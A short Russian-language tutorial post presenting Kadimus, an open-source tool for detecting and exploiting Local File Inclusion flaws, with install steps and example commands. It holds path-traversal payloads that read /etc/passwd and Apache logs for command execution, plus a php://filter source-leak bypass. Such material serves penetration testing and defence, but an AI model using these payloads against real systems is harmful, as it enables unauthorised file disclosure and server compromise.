Kadimus — это специализированный инструмент с открытым исходным кодом для автоматизированного поиска и эксплуатации уязвимостей локального включения файлов (Local File Inclusion, LFI) в веб-приложениях.
⚡️ Основные возможности Kadimus
➡️ Обнаружение уязвимостей LFI:
• Поиск уязвимых конечных точек, где передача некорректных параметров позволяет атакующему получить доступ к локальным файлам сервера.
➡️ Эксплуатация LFI:
• Чтение конфиденциальных файлов (например, /etc/passwd).
• Эксплуатация уязвимостей для выполнения команд через лог-файлы, загрузки или другие методы.
➡️ Модульность:
• Интеграция различных методов эксплуатации, включая техники bypass и фильтрацию.
➡️ Интерактивность:
• Поддержка интерактивного режима для более глубокого исследования уязвимостей.
➡️ Гибкость настройки:
• Возможность ручной конфигурации запросов и полезных нагрузок.
⬇️ Установка и использование
1️⃣ Установка Kadimus
Убедитесь, что у вас установлен компилятор GCC и библиотеки для работы с libcurl. Затем выполните следующие команды:
git clone https://github.com/P0cL4bs/Kadimus.git
cd Kadimus
make
2️⃣ Запуск анализа LFI
Для базового сканирования уязвимой конечной точки:
./kadimus -u "http://example.com/page.php?file=../../../../etc/passwd"
3️⃣ Эксплуатация через лог-файлы
Если у вас есть доступ к логам:
./kadimus -u "http://example.com/page.php?file=../../../../var/log/apache2/access.log" --log
4️⃣ Байпас фильтров
Kadimus включает возможности обхода фильтров:
./kadimus -u "http://example.com/page.php?file=php://filter/convert.base64-encode/resource=index.php"